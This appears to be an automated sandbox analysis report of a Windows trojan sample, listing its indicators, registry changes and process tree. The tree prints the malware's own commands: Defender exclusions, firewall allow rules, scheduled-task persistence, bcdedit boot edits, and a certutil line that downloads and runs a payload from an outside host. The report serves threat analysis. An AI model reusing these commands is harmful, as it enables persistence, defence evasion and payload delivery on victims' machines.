c006abbb1bae333e5973f9c419bfd9c3c721698cf2cf3ffbd1048fdfb4de811b

Analysis

max time kernel
84s
max time network
128s
platform
windows10_x64
resource
win10v20201028
submitted
09-11-2020 19:45

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General

Target

SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Size

3.9MB
MD5

f6b72a826a885d982df7d5648e37b62c
SHA1

9feeba171ef18d1bb68e4f185c1af7c6d4b1eae6
SHA256

c006abbb1bae333e5973f9c419bfd9c3c721698cf2cf3ffbd1048fdfb4de811b
SHA512

2c52277b03cec9f08861dbebb5df24d9510b02312487a108c2d2411fba1799629e0914276dac84ee6a160ae9b8e34a7f4621dbe4fdf171d44ae1d8d3aeb68f65

Score

10^/10

discovery evasion persistence trojan

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 3116 created 4760	3116	svchost.exe	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
PID 3116 created 1776	3116	svchost.exe	csrss.exe
PID 3116 created 1776	3116	svchost.exe	csrss.exe
PID 3116 created 1776	3116	svchost.exe	csrss.exe

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 15 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
4716	bcdedit.exe
4744	bcdedit.exe
1320	bcdedit.exe
204	bcdedit.exe
4508	bcdedit.exe
2712	bcdedit.exe
2512	bcdedit.exe
1068	bcdedit.exe
2052	bcdedit.exe
5080	bcdedit.exe
4052	bcdedit.exe
5100	bcdedit.exe
5036	bcdedit.exe
4248	bcdedit.exe
3448	bcdedit.exe

Drops file in Drivers directory 2 IoCs

Processes:

dsefix.execsrss.exe

description ioc process

File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe
File created C:\Windows\System32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 4 IoCs

Processes:

csrss.exepatch.exedsefix.exeapp.exe

pid process

1776 csrss.exe
3548 patch.exe
380 dsefix.exe
1716 app.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Loads dropped DLL 4 IoCs

Processes:

patch.exe

pid process

3548 patch.exe
3548 patch.exe
3548 patch.exe
3548 patch.exe

description	ioc	process
File created	C:\Windows\system32\drivers\VBoxDrv.sys	dsefix.exe
File created	C:\Windows\System32\drivers\Winmon.sys	csrss.exe

pid	process
1776	csrss.exe
3548	patch.exe
380	dsefix.exe
1716	app.exe

pid	process
3548	patch.exe
3548	patch.exe
3548	patch.exe
3548	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

SecuriteInfo.com.Mal.Generic-S.15611.8549.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\DarkDarkness = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\57f67627e14e.exe = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.Mal.Generic-S.15611.8549.exe = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

SecuriteInfo.com.Mal.Generic-S.15611.8549.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\DarkDarkness = "\"C:\\Windows\\rss\\csrss.exe\""	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

Processes:

SecuriteInfo.com.Mal.Generic-S.15611.8549.exe

description	ioc	process
File opened for modification	C:\Windows\rss	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
File created	C:\Windows\rss\csrss.exe	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe

Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid	pid_target	process	target process
3104	4760	WerFault.exe	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
1852	3444	WerFault.exe	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

2580 schtasks.exe
2912 schtasks.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 30 Go-http-client/1.1

pid	process
2580	schtasks.exe
2912	schtasks.exe

description	flow	ioc
HTTP User-Agent header	30	Go-http-client/1.1

Modifies data under HKEY_USERS 285 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

SecuriteInfo.com.Mal.Generic-S.15611.8549.exeSecuriteInfo.com.Mal.Generic-S.15611.8549.execsrss.exe

pid	process
4760	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
4760	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
1776	csrss.exe
1776	csrss.exe
1776	csrss.exe
1776	csrss.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

644
644

pid	process
644
644

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

SecuriteInfo.com.Mal.Generic-S.15611.8549.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4760	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Token: SeImpersonatePrivilege	4760	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
Token: SeTcbPrivilege	3116	svchost.exe
Token: SeTcbPrivilege	3116	svchost.exe
Token: SeBackupPrivilege	3116	svchost.exe
Token: SeRestorePrivilege	3116	svchost.exe
Token: SeBackupPrivilege	3116	svchost.exe
Token: SeRestorePrivilege	3116	svchost.exe
Token: SeBackupPrivilege	3116	svchost.exe
Token: SeRestorePrivilege	3116	svchost.exe
Token: SeBackupPrivilege	3116	svchost.exe
Token: SeRestorePrivilege	3116	svchost.exe
Token: SeSystemEnvironmentPrivilege	1776	csrss.exe
Token: SeBackupPrivilege	3116	svchost.exe
Token: SeRestorePrivilege	3116	svchost.exe
Token: SeBackupPrivilege	3116	svchost.exe
Token: SeRestorePrivilege	3116	svchost.exe

Suspicious use of WriteProcessMemory 55 IoCs

Processes:

svchost.exeSecuriteInfo.com.Mal.Generic-S.15611.8549.execmd.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 3116 wrote to memory of 3444	3116	svchost.exe	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
PID 3116 wrote to memory of 3444	3116	svchost.exe	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
PID 3116 wrote to memory of 3444	3116	svchost.exe	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
PID 3444 wrote to memory of 1004	3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe	cmd.exe
PID 3444 wrote to memory of 1004	3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe	cmd.exe
PID 1004 wrote to memory of 1128	1004	cmd.exe	netsh.exe
PID 1004 wrote to memory of 1128	1004	cmd.exe	netsh.exe
PID 3444 wrote to memory of 1316	3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe	cmd.exe
PID 3444 wrote to memory of 1316	3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe	cmd.exe
PID 1316 wrote to memory of 1564	1316	cmd.exe	netsh.exe
PID 1316 wrote to memory of 1564	1316	cmd.exe	netsh.exe
PID 3444 wrote to memory of 1776	3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe	csrss.exe
PID 3444 wrote to memory of 1776	3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe	csrss.exe
PID 3444 wrote to memory of 1776	3444	SecuriteInfo.com.Mal.Generic-S.15611.8549.exe	csrss.exe
PID 3116 wrote to memory of 2580	3116	svchost.exe	schtasks.exe
PID 3116 wrote to memory of 2580	3116	svchost.exe	schtasks.exe
PID 3116 wrote to memory of 2912	3116	svchost.exe	schtasks.exe
PID 3116 wrote to memory of 2912	3116	svchost.exe	schtasks.exe
PID 3116 wrote to memory of 3548	3116	svchost.exe	patch.exe
PID 3116 wrote to memory of 3548	3116	svchost.exe	patch.exe
PID 3548 wrote to memory of 4716	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4716	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4744	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4744	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 1320	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 1320	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 204	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 204	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4508	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4508	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 2712	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 2712	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 2512	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 2512	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 1068	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 1068	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 2052	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 2052	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 5080	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 5080	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4052	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4052	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 5100	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 5100	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 5036	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 5036	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4248	3548	patch.exe	bcdedit.exe
PID 3548 wrote to memory of 4248	3548	patch.exe	bcdedit.exe
PID 1776 wrote to memory of 3448	1776	csrss.exe	bcdedit.exe
PID 1776 wrote to memory of 3448	1776	csrss.exe	bcdedit.exe
PID 1776 wrote to memory of 380	1776	csrss.exe	dsefix.exe
PID 1776 wrote to memory of 380	1776	csrss.exe	dsefix.exe
PID 1776 wrote to memory of 1716	1776	csrss.exe	app.exe
PID 1776 wrote to memory of 1716	1776	csrss.exe	app.exe
PID 1776 wrote to memory of 1716	1776	csrss.exe	app.exe

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.15611.8549.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4760

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.15611.8549.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Mal.Generic-S.15611.8549.exe"
2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3444

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e\57f67627e14e.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e\57f67627e14e.exe" enable=yes
4⤵
PID:1128

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
PID:1564

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:2580

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2912

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3548

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:4716

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:4744

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:1320

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:204

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:4508

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:2712

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:2512

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:1068

C:\Windows\system32\bcdedit.exe
